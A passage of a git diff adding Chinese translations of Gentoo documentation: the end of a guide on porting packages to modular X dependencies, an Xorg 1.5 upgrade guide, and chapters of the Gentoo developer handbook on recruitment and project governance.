+</pre>
+
+<p>
+第二个脚本，<c>included_headers.sh</c>，扫描解压的源码包中以#include开头的行，并抓取包含在&lt;&gt;中的include文件。截至2005年9月9日，对于""风格的include它也能处理得和&lt;&gt;一样好。
+</p>
+
+<p>
+第三个脚本，<c>checkdeps.rb</c>，使用来自pax-utils的<c>scanelf</c>来扫描一个软件包所安装的文件。它适用于二进制包或隐藏了编译输出的包。这是个Ruby脚本，因此它依赖于dev-lang/ruby以及app-misc/pax-utils。第四个脚本，<c>pkgutil.rb</c>，依赖于<c>checkdeps.rb</c>。
+</p>
+
+<p>
+运行前两个脚本应该能给你提供一个很好的列表，包括RDEPEND（对于库）和DEPEND（对于头文件和库）。如果一个库出现在RDPEND列表而不在DEPEND列表中，这就可疑了；它可能是一个“错误依赖关系”（无任何原因而链接的库）。libXt是已知的具有如此特征的一个正确依赖关系；许多包通过检查libXt头文件来检查X。
+</p>
+
+<p>
+<c>included_headers.sh</c>中的相对头文件搜索偶尔会找到错误的头文件，因为有一些头文件的名字是一样的，从而会返回一个不正确的包。通常这是非常明显的，比如Windows头文件会令它认为app-emulation/wine是一个依赖关系。
+</p>
+
+<p>
+如果你指定<c>-d</c>选项，你偶尔会遇到某个库文件或头文件“Not found!”。这可能表示你在该包编译后卸载了它所需要的一个头文件，或者它是一个你尚未使用的可选头文件。如果是库文件的话，这可能表示你卸载了该库，或者它可能只是一个从未安装的内部构建的静态库。
+</p>
+
+<p>
+花点时间来查查这些未被找到的头/库文件是否需要被添加到依赖关系列表是值得的，特别是对头文件，因为你不需要安装这些头文件就可以运行扫描。
+</p>
+
+<p>
+在一些情况中，软件包要求某种形式的一个真实的X服务器。但是如果软件包在安装过程中事实上并不需要它，我鼓励你不要将它放到RDEPEND中。因为这样会破坏headless X配置，在这种配置里程序实际上运行在另一台机器上因而只需要本地库文件和头文件。
+</p>
+
+<p>
+在portage树中已经有了一些X服务器，所以如果你确实需要X服务器，请把它们都包括进去。模块化X的服务器在xorg-server中；xdirectfb中有一个DirectFB服务器；kdrive提供了微型X服务器；当然还有旧的&lt;xorg-x11-7。一定要指明xorg-x11的版本范围，以保证安装一个X服务器而不是元软件包。在不远的将来，我期待kdrive被移到xserver中。如果你确实需要一个X服务器，请联系X组的成员。如果很多软件包需要X服务器，我们可能为其创建一个虚拟包。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>依赖关系结构</title>
+<section>
+<body>
+
+<p>
+要真正添加依赖关系──你会需要像这样的一个结构：    
+</p>
+
+<pre caption="RDEPEND/DEPEND结构">
+RDEPEND="|| ( ( x11-libs/libXfoo
+			x11-libs/libXbar
+			blah? ( x11-libs/libXblah )
+			whatever else shows up in the library run
+		)
+		virtual/x11
+	)
+
+DEPEND="${RDEPEND}
+	|| ( ( x11-proto/fooproto
+			blah? ( x11-proto/blahproto )
+			whatever else shows up in both script runs
+		)
+		virtual/x11
+	)
+</pre>
+
+<impo>
+由之前那些脚本生成的一些结果<e>将</e>是多余的。如过一个库的RDEPEND包含了另一个库，那么你不必把它们都放进依赖关系中。如果一个库的DEPEND包含了一个协议（proto），那么你<e>必须</e>将其置于该软件包的DEPEND列表中。<c>libXaw</c>、<c>libXmu</c>、<c>libXpm</c>、<c>libXcursor</c>和<c>libXt</c>这些库都有可能引入很多其他库。只要运行<c>emerge -ep $library | grep lib[SIX]</c>就能列出它们。同时记住，其他像<c>gtk+</c>这样的包已经被改写为使用模块化依赖关系了，所以它们也能引入其所需的库。
+</impo>
+
+<note>
+如果有两个USE标记都会引入X，但是它们之间并不相互依赖。在这种情况下，你或者需要重复X依赖关系部分，或者需要将其定义在其他地方，比如定义为变量X_DEPEND，并包含这个变量${X_DEPEND}。如果定义到其他地方，记得同时将该定义部分包含到各个USE标记中。
+</note>
+
+<p>
+这样的依赖关系结构可以默认使用新的模块化X配置，但同时如果人们还在用旧的整体式xorg-x11包的话，该依赖关系仍然可以被满足。我们正在彻底抛弃virtual/x11，以此来鼓励人们列举出精确的依赖关系。
+</p>
+
+<p>
+对于整个树的首次修改，移植任务组只修复~arch用户能得到的最新ebuild，以及任何更新的ebuild（KEWORDS=-*或package.mask）。单独的软件包维护者可能选择这么做，并让不支持模块化X的ebuild逐步从树中淡出。但是他们最好把他们所有的ebuild都一次移植完。Repoman很快会因遇到任何强制依赖virtual/x11的ebuild而挂掉。
+</p>
+
+<impo>
+这就可以让~arch用户默认使用模块化X，同时让非~arch用户使用virtual/x11。
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>处理USE标记</title>
+<section>
+<body>
+
+<p>
+许多人不使用xinerama的USE标记。但是，如果当你运行<c>inluded_headers.sh</c>时，x11-proto/xineramaproto就会显示为一个依赖关系，然后添加它到xinerama标记的DEPEND中，并添加x11-libs/libXinerama到xinerama标记的RDEPEND中。
+</p>
+
+<p>
+Caleb提出了一个好观点，那就是，对于拥有大量可选的X库依赖关系的包，如何处理它所有的USE标记？在许多情况下，总是强制开启或关闭标记是合乎情理的。而且，你可以通过把标记分组的方式让事情更简单一些。确保你是以标记的功能来命名它们，而不是它们使用的库或者包。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>将你的修正放到portage树中</title>
+<section>
+<body>
+
+<p>
+如果你是开发人员，请检入它们。如果不是，请提交一个新bug，分配给包维护者（在metadata.xml中）。让它阻挡bug<uri link="http://bugs.gentoo.org/112675">#112675</uri>，并附加一个修正依赖关系的补丁。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml b/xml/htdocs/proj/zh_cn/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
new file mode 100644
index 00000000..a7a65a96
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
@@ -0,0 +1,224 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml,v 1.1 2009/05/08 06:58:19 r0bertz Exp $ -->
+<!-- English CVS version: 1.4 -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/zh_cn/desktop/x/x11/upgrading-to-xorg-1.5.xml" lang="zh_cn">
+<title>Xorg 1.5升级向导</title>
+
+<author title="作者">
+  <mail link="remi"/>
+</author>
+<author title="译者">
+ <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+这篇向导教你如何将X.org升级到1.5版本··
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Ebuild变更</title>
+<section>
+<body>
+
+<ul>
+  <li>
+  	<c>x11-misc/xkbdata</c>现在已经完全过时了。如果你未使用它的替代品（<c>x11-misc/xkeyboard-config</c>），Portage可能会在进行更新之前叫你删掉它。
+  </li>
+  <li>
+  	X现在不再强行对<c>media-libs/mesa</c>隐式地构建两次。mesa现在使用软件加速（swrast）和你通过<c>VIDEO_CARDS</c>变量选择的任意一种硬件驱动程序来构建。
+  </li>
+  <li>
+  	由于上述变更，<c>dri</c> USE标记被放弃了。除非设置了<c>USE=minimal</c>，否则Xorg现在总会支持OpenGL。
+  </li>
+  <li>
+  	XPrint在Xorg 1.6以及更新版本中已经被移除了，不过我们已决定也将它从1.5版本放弃。XPrint的支持已经从所有X库中移除了。
+  </li>
+  <li>
+  	Xorg现在支持HAL来自动热插拔输入设备，参阅下面的章节以作适当的配置。
+  </li>
+  <li>
+  	“synaptics”驱动程序现在由<c>x11-drivers/xf86-input-synaptics</c>提供。
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>配置输入</title>
+<section>
+<title>使用HAL（使用xf86-input-evdev）</title>
+<body>
+
+<p>
+简单地说，HAL允许设置跟<path>xorg.conf</path>完全相同的特性，但拥有更多灵活性：比如你现在可以为每个键盘设定一个布局。这些全都是由<c>xf86-input-evdev</c>驱动程序提供。
+</p>
+
+<p>
+首先，确定你已经用<c>INPUT_DEVICES="evdev"</c>构建了xorg-server并且内核中启用了evdev。
+</p>
+<pre caption="2.6内核配置">
+Device Drivers ---&gt;
+
+Input device support ---&gt;
+
+--- Input device support
+[*]     Event interface
+</pre>
+
+<p>
+然后，我们就可以配置HAL使它正确地报告键盘布局。HAL通过装载于<path>/usr/share/hal</path>中的设备规则运作。
+</p>
+
+<impo>
+<e>不要</e>编辑这里面的东西，它们会在下次HAL更新的时候被覆写。你可以换成将自己的规则加入<path>/etc/hal/fdi/policy</path>。
+</impo>
+
+<p>
+FDI配置文件的示例在<path>/usr/share/doc/hal-*/*.fdi*</path>。挑选一个最适合你当前配置的文件，复制到<path>/etc/hal/fdi/policy</path>。
+</p>
+
+<p>
+例如，如果你只想要为一个非美式键盘布局使用一个基本配置，复制<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path>中的内容至<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path>（使用<c>bzcat</c>）并编辑使之匹配你要用的键盘布局。
+</p>
+
+<p>
+别忘了阅读<c>man evdev</c>了解驱动程序的性能和选项（特别是鼠标滚轮模拟、鼠标中键模拟……）。
+</p>
+
+<note>
+当前版本的HAL（仍）不能自己分辨出FDI文件的变更。你必须重启HAL的初始化脚本来察看变更。使用<c>lshal</c>实用工具列出HAL的设备树并搜索“input”，确定一切正常。HAL规则的内容会显示在lshal的输出中。
+</note>
+
+</body>
+</section>
+<section>
+<title>使用HAL和其他驱动程序（xf86-input-synaptics、linuxwacom，……）</title>
+<body>
+
+<p>
+默认情况下，HAL会告诉X服务器使用<c>evdev</c>驱动程序来访问所有输入设备。不过这可以根据需要改成任何输入驱动程序。
+</p>
+
+<p>
+因此你可以将所有的输入设备配置放入HAL，即便你使用的是其他如<c>synaptics</c>或<c>linuxwacom</c>之类的驱动程序。
+</p>
+
+<p>
+关于如何配置这些驱动程序的更多信息可以从这些地方找到：
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>不使用HAL</title>
+<body>
+
+<p>
+如果你不想使用HAL，可以通过<c>USE="-hal"</c>来构建<c>xorg-server</c>，或者在<path>xorg.conf</path>的ServerFlags项中关闭AutoAddDevices选项。
+</p>
+
+<pre caption="关闭AutoAddDevices">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+这两种方法都将允许X服务器使用传统的<c>mouse</c>和<c>kbd</c>驱动程序。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>配置显卡</title>
+<section>
+<body>
+
+<p>
+xorg.conf中的“Device”项基本上不用修改便可以正常工作。
+</p>
+
+<p>
+尽管如此，如果你遇到任何问题，可以尝试这几个步骤：
+</p>
+
+<ul>
+  <li>
+  	尝试注释掉xorg.conf中“Device”、“Screen”和“Monitor”等项中的所有“Options”
+  </li>
+  <li>
+  	甚而，尝试不使用<e>任何</e><path>xorg.conf</path>（可以将它重命名为<path>xorg.conf.old</path>）运行Xorg
+  </li>
+</ul>
+
+<p>
+Xorg驱动程序现在更加善于真实地检测出你的硬件类型并（除了<e>少数</e>特殊情况）应用默认的设置。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>杂项</title>
+<section>
+<body>
+
+<p>
+在1.5.3版本中旧字体的处理方式发生了很大改变。<c>freetype</c>模块现在没有用了，因为服务器使用<c>libXfont</c>为传统应用程序载入你可能拥有的任何字体。
+</p>
+
+<p>
+对于传统字体自身，它们现在几乎都没用了，因为我们提供一个内嵌的“fixed”字体可供所有传统应用程序和工具使用。但是要注意这种字体极其丑陋。
+</p>
+
+<p>
+xdmx坏掉了。不要使用它，除非你知道自己在做什么。
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>疑难解答</title>
+<section>
+<body>
+<p>
+如果你在所有基于SDL的应用程序（很多游戏）中鼠标行为有不正常，则需要在<path>xorg.conf</path>中作如下设置：
+</p>
+<pre caption="关闭DGA">
+Section "Module"
+       ...
+       SubSection  "extmod"
+         Option    "omit xfree86-dga"
+       EndSubSection
+       ...
+EndSection
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/handbook.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/handbook.xml
new file mode 100644
index 00000000..0ce89ced
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/handbook.xml
@@ -0,0 +1,283 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/handbook.xml,v 1.5 2008/10/11 17:27:05 r0bertz Exp $ -->
+<!-- English CVS version: 1.11 -->
+
+<book link="/proj/zh_cn/devrel/handbook/handbook.xml" lang="zh_cn">
+  <title>Gentoo开发者手册</title>
+  
+<!-- Author names only -->
+<!-- Thanks for edits but please only add your name if you added content -->
+<!-- Do not list what you worked on as it's all subject to future changes -->
+
+  <author title="Author">
+      <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="genone@gentoo.org">Marius Mauch</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="amne@gentoo.org">Wernfried Haas</mail>
+  </author>
+
+  <author title ="Author">
+      <mail link="musikc@gentoo.org">Chrissy Fullam</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+  </author>
+
+  <author title="Author">
+      <mail link="drobbins@gentoo.org">Daniel Robbins (Retired) </mail>
+  </author>
+
+  <author title="Author">
+      John P. Davis (Retired)
+  </author>
+
+  <author title="Author">
+      Tim Yamin (Retired)
+  </author>
+
+  <author title="Author">
+      Jorge Paulo (Retired)
+  </author>
+
+  <author title="Author">
+      Zack Gilburd (Retired)
+  </author>
+
+  <author title="Author">
+      Benny Chuang (Retired)
+  </author>
+
+  <author title="Author">
+      Erwin (Retired)
+  </author>
+
+  <author title="Author">
+      Jon Portnoy (Retired)
+  </author>
+
+  <author title="Author">
+      Carl Anderson (Retired)
+  </author>
+
+  <author title="Author">
+      Donny Davies (Retired)
+  </author>
+
+  <author title="Author">
+      Peter Gavin (Retired)
+  </author>
+
+  <author title ="Author">
+      Dan Armak (Retired)
+  </author>
+
+  <author title="Author">
+      Owen Stampflee
+  </author>
+
+  <author title="Author">
+      Ciaran McCreesh (Retired)
+  </author>
+
+  <author title="Translater">
+    <mail link="r0bertz@gentoo.org">张乐</mail>	
+  </author>
+
+  <author title="Translater">
+    <mail link="Guanqun.Lu@gmail.com">陆冠群</mail>	
+  </author>
+
+  <abstract>
+    这是Gentoo开发者手册，本手册搜集了Gentoo开发策略并且概述了Gentoo开发系统和开发过程。
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+  <license/>
+
+  <version>2</version>
+  <date>2008-10-12</date>
+
+  <part>
+    <title>介绍</title>
+    <abstract>
+      这部分介绍了应用于Gentoo开发的大部分领域的规则。这部分只对Gentoo开发者有用；如果你不是，你可以掠过这部分。
+    </abstract>
+
+    <chapter>
+      <title>介绍</title>
+      <abstract>
+	本节概述了Gentoo开发者手册的目的。
+      </abstract>
+      <include href="hb-introduction.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>成为一个开发者</title>
+      <abstract>
+	本节解释了怎样成为一个Gentoo开发者。
+      </abstract>
+      <include href="hb-introduction-becoming-a-dev.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>你能得到什么</title>
+      <abstract>
+	本节简述了提供给Gentoo开发者的服务。
+      </abstract>
+      <include href="hb-introduction-whatyouget.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>为新开发者提供的帮助</title>
+      <abstract>
+	本节给新开发者提供了帮助和指令。
+      </abstract>
+      <include href="hb-introduction-new-devs.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>开发者等级</title>
+      <abstract>
+	本节简要介绍了Gentoo开发者等级和管理结构。
+      </abstract>
+      <include href="hb-introduction-hierarchy.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>工作人员策略</title>
+      <abstract>
+        本节介绍了Gentoo工作人员的招募和退休策略。
+      </abstract>
+      <include href="hb-introduction-staffers.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>指南</title>
+    <abstract>
+      本部分解释了各种开发流程并为Gentoo开发者提供了开发标准。
+    </abstract>
+
+    <chapter>
+      <title>Ebuild HOWTO</title>
+      <abstract>
+	本节描述了Gentoo Linux Portage系统，怎样为Gentoo创建新的软件包，某种程度上本节应被视为Gentoo开发者的开发标准。本节仍在开发中，内容仍然在不断的变化和更新。本节并没有包含所有的有关开发的内容。你应该将本节和portage提供的手册页（特别是ebuild(5)）和Gentoo Linux开发策略配合使用。
+      </abstract>
+      <include href="hb-guide-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Eclass HOWTO</title>
+      <abstract>
+	本节的目的在于给开发者提供一个详细的讲解eclass的作用和它们应用于ebuild的指南。
+      </abstract>
+      <include href="hb-guide-eclass.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>常见ebuild错误</title>
+      <abstract>
+	本节解释了贡献者和开发者在ebuild编写和提交过程中常犯的错误。
+      </abstract>
+      <include href="hb-guide-common-mistakes.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Gentoo Metadata</title>
+      <abstract>
+	本节解释了Portage树里使用的metadata.xml的由来和作用。
+      </abstract>
+      <include href="hb-guide-metadata.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Ebuild维护HOWTO</title>
+      <abstract>
+	本节描述了开发者在维护portage树里的ebuild时怎样完成通常的工作。
+      </abstract>
+      <include href="hb-guide-ebuild-maintaining.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Manifest签署指南</title>
+      <abstract>
+	本节描述了开发者怎样使用GPG签署Portage树里的Manifest文件。
+      </abstract>
+      <include href="hb-guide-manifest-signing.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>规则</title>
+    <abstract>
+      这部分包括了我们期望开发者在向CVS检入文件的时候所应遵守的各种规则。　
+    </abstract>
+
+    <chapter>
+      <title>Ebuild规则</title>
+      <abstract>
+	本节概述了Portage里的每一个ebuild应该遵守的ebuild规则。
+      </abstract>
+      <include href="hb-policy-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>礼节规则</title>
+      <abstract>
+	本节概述了每个Gentoo开发者应该遵守的礼节。
+      </abstract>
+      <include href="hb-policy-etiquette.xml"/>
+    </chapter>
+  </part>
+
+<!--
+  <part>
+    <title>Appendix 1: Management</title>
+    <abstract>
+      This part covers managerial policies.
+    </abstract>
+  </part>
+-->
+
+</book>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-becoming-a-dev.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-becoming-a-dev.xml
new file mode 100644
index 00000000..2820682a
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-becoming-a-dev.xml
@@ -0,0 +1,99 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-becoming-a-dev.xml,v 1.3 2008/12/12 10:58:59 r0bertz Exp $ -->
+<!-- English CVS version: 1.6 -->
+<sections>
+<version>1.0.2</version>
+<date>2008-12-12</date>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+本节要讨论的话题是成为一名Gentoo开发者的多种途径。在他们成为正式的开发者之前，"新成员"不得不经历各种不同的挑战。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>帮助</title>
+<body>
+
+<p>
+首先；要成为一名开发者，你要么申请一个空缺的职位；要么以给用户提供技术支持或者提交bug报告的形式来提供帮助——我们会注意到那些经常给Gentoo作贡献的贡献者，并且奖励他们，给他们以成为Gentoo开发者的机会。为Gentoo做贡献很多种途径，Gentoo开发者事务组招募团队不只是在寻找开发者——为了让我们的发行版顺利地运作，文档编写者和基础架构维护者也同样重要。
+</p>
+
+<p>
+你应该在Gentoo月报中寻找给予开发者的空缺职位，或者在irc.freenode.net的#gentoo-bugs频道中利用/topic来寻找空缺的职位——如果你认为你可以胜任其中之一的职位，试着找一个愿意担保你的导师，或者联系<mail link="recruiters@gentoo.org">Gentoo招募者</mail>，他们有可能会帮你找一个导师。请不要自己提交"新开发者"bug，因为这件事是由导师负责完成的，而且任何这样的bug都将会被关闭。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>指导</title>
+<body>
+
+<p>
+新的开发者都必须有一个导师，这个导师应该是当前的Gentoo开发者，他将负责指导这个新的开发者，并在这个开发者通过招募过程之后继续提供帮助。
+</p>
+
+<p>
+导师将帮助解答你的问题，还会扼要地介绍你的Gentoo职责，特别是和你刚开始工作有关的那些职责。
+</p>
+
+<p>
+只要一个开发者同意指导一个新的开发者，这个导师就应该提交一个bug，并将它委派给Gentoo招募者——<uri link="/proj/en/devrel/recruiters">Gentoo招募者</uri>页面详细地解释了应该提交哪些信息。
+</p>
+
+<note>
+Gentoo招募者保留赋予开发者一个新的导师的权力，如果原来的导师没有及时地督促新的开发者；或者这个导师提交了bug，但是在以后并没有帮助新的开发者。
+</note>
+
+</body>
+</section>
+
+<section>
+<title>等待</title>
+<body>
+
+<p>
+所有新的开发者都要进入最长一个月的等待期，等待的时间取决于导师认为这个开发者是否已经准备好了，和从其他相关事情上所获得的反馈。在这段时间内，新的开发者应该完成由导师和Gentoo招募者审查的测验，以确保这个开发者"准备好了"。在特殊的情况下，这个等待的时间由Gentoo招募者和／或Gentoo开发者事务组决定。
+</p>
+
+<p>
+测验分两种：<uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild测验</uri>和<uri link="/proj/en/devrel/quiz/staff-quiz.txt">staff测验</uri>。那些只想工作在基础架构，GLSA或者其他非ebuild部分的开发者应该参加staff测验；任何想对Portage树有commit权限的开发者则应该参加ebuild测验。
+</p>
+
+<p>
+一旦新的开发者完成了测验，这个开发者应该将它发送给负责审查的导师和<uri link="/proj/en/devrel/recruiters">Gentoo招募者</uri>。如果这个测验的回答足够好，那么这个招募过程将继续下去。否则，新的开发者可以选择重新做这个测验，但要在等待期内完成。
+</p>
+
+<p>
+另外，新的开发者应该积极地回答招募团队中的人员所提出的任何问题——任何不及时回答的开发者，他们的"新开发者"bug将会被关闭，而这个bug只有在Gentoo招募者慎重考虑之后才会重新开启。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>跨越障碍</title>
+<body>
+
+<p>
+在你的导师和Gentoo招募者审核了你的测验，并且认为你达到一定的水平之后，你应该把测验发送给Gentoo招募者，同时附上你的SSH2的DSA公钥（比如，id_dsa.pub）。如果招募团队认为你的测验是令人满意的，他们将建立你所要求的那些服务。
+</p>
+
+<p>
+在这之后，你将进入一个为期30天的"试用期"，在这段时间内，你的导师会对你的行为负责，并且提供相应的报告——同样在这段时间内，Gentoo招募者可能会拒绝这个新的开发者，如果他们认为这样做合适的话。
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-hierarchy.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-hierarchy.xml
new file mode 100644
index 00000000..550b9fc5
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-hierarchy.xml
@@ -0,0 +1,122 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-hierarchy.xml,v 1.3 2008/04/13 17:33:59 r0bertz Exp $ -->
+<!-- English CVS version: 1.5 -->
+<sections>
+<version>1.0.2</version>
+<date>2006-05-04</date>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+本节旨在分析Gentoo的开发架构并且帮助开发者了解Gentoo Linux开发管理是如何构成的。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo管理结构的历史简介</title>
+<body>
+
+<p>
+第一次尝试来建立一个管理结构以解决合作和交流问题发生在2003年，<uri link="http://www.gentoo.org/proj/en/glep/glep-0004.xml">GLEP 4</uri>中描述了当时提议的管理结构。当Gentoo不断地壮大，我们发现了这个管理结构的一些问题，并且我们需要新的一个结构来解决这些问题。<uri link="http://www.gentoo.org/proj/en/glep/glep-0039.html">GLEP 39</uri>描述了在这背后的原因和这次讨论的结果。
+</p>
+
+</body>
+</section>
+<section>
+<title>按照GLEP 39建立的当前的管理结构</title>
+<body>
+
+<p>
+所谓项目就是为了一个目的（或一些目的）而一同工作的一群开发者。
+</p>
+
+<ul>
+  <li>
+    只要一个项目存在，那么在<uri link="http://www.gentoo.org/proj/en/">www.gentoo.org/proj/en/&lt;project name&gt;</uri>上就会有相应的网页被维护（"维护"意味着页面上的信息是正确的，并且没有过期）。如果网页没有被维护，那么就可以认为这个项目已经死了。
+  </li>
+  <li>
+    一个项目可能有一个或多个领导者。领导者由这个项目的成员推选出来。每12个月必须至少选举一次，选举可以随时举行。
+  </li>
+  <li>
+    一个项目可能没有或者有多个子项目。子项目是提供一些附加结构的项目，它们的网页也放置在主项目的空间上。
+  </li>
+  <li>并不是每件事（或每个人）都需要有一个项目。</li>
+  <li>项目没有必要一定是长期的。</li>
+  <li>一个项目可能与其他的项目发生冲突。这也没有关系。</li>
+  <li>
+    任何开发者都可以建立一个项目，只需要在<path>gentoo/xml/htdocs/proj/en</path>下建立一个新的页面（更准确地说是目录和网页），并且在gentoo-dev-announce邮件列表上通告一下就可以了。
+  </li>
+</ul>
+
+<p>
+全局的事务由选举出来的Gentoo议会来决定。
+</p>
+
+<ul>
+  <li>
+    议会成员的数量是固定的。（在第一次的选举中，经大家口头表决通过，这个数字被确定为7个人。）
+  </li>
+  <li>
+    议会成员每年都由全体开发者选举产生。
+  </li>
+  <li>议会至少每个月必须召开一次公开会议。</li>
+  <li>
+    议会的决定由参加者（或者他们的代理人）投票决定，采取少数服从多数的原则。
+  </li>
+  <li>
+    如果一个议会成员（或者他们指定的代理人）连续两次没有参加会议，他们便被标识为偷懒者（slacker）。
+  </li>
+  <li>
+    如果一个已经被标识为偷懒者的议会成员错过了另外一次会议（或者他们指定的代理人也没有出现），那么他们将失去这个职位，同时将举行一个新的选举以接替这个人。这个新产生的议会成员的任期会缩短，因为一年一度的选举还会重新选举出新的成员。
+  </li>
+  <li>
+    由于以前过渡的偷懒而被踢出去的议会成员可以竞争以后的选举，包括寻找他们的接班人的那次选举。当然，他们应该为他们偷懒的原因进行辩解，并且应当知道如果他们自己不辩解的话也会被人指出来。
+  </li>
+  <li>当一个成员被选举出来的时候，这个偷懒者的标志会被去除。</li>
+  <li>
+    如果任何一个会议有少于一半的议会成员参加，那么一个新的选举必须在一个月之内举行。年度的选举时间便从这个时候开始计算。
+  </li>
+  <li>如果你对惩戒措施感到不满，你可以向议会上诉。</li>
+  <li>
+    一位代理人一定不能是现在的议会成员，而且在一个会议中，任何一个人不能担当多于一个人的代理人。
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Gentoo管理结构的影响</title>
+<body>
+
+<p>
+采用了新管理结构的结果是全局事务由选举出来的议会决定。这给了Gentoo一个大概的方向——只影响一两个项目的小事务应该在所涉及的项目组内决定，也许还可以听取其他开发者的意见。议会应当成为开发者群体的一个公正的代表，因为每一个开发者都能够投票，所以利益应该以一种公平的方式来表现。如果议会做得很糟糕，而且大多数开发者对他们的工作不满意，这个议会可以被投票免去。
+</p>
+
+<p>
+一个项目内部的决定由在项目内的人员自行决定，当然不同项目之间的合作是必要的。（子）项目的领导者通常对此负责。
+</p>
+
+<p>
+大多数的项目都有一个运作和策略领导者（Operational and Strategic lead），但是基本上应当由项目来决定哪些职位该被创建并且是如何称呼的——这条规则同样适用于子项目。
+</p>
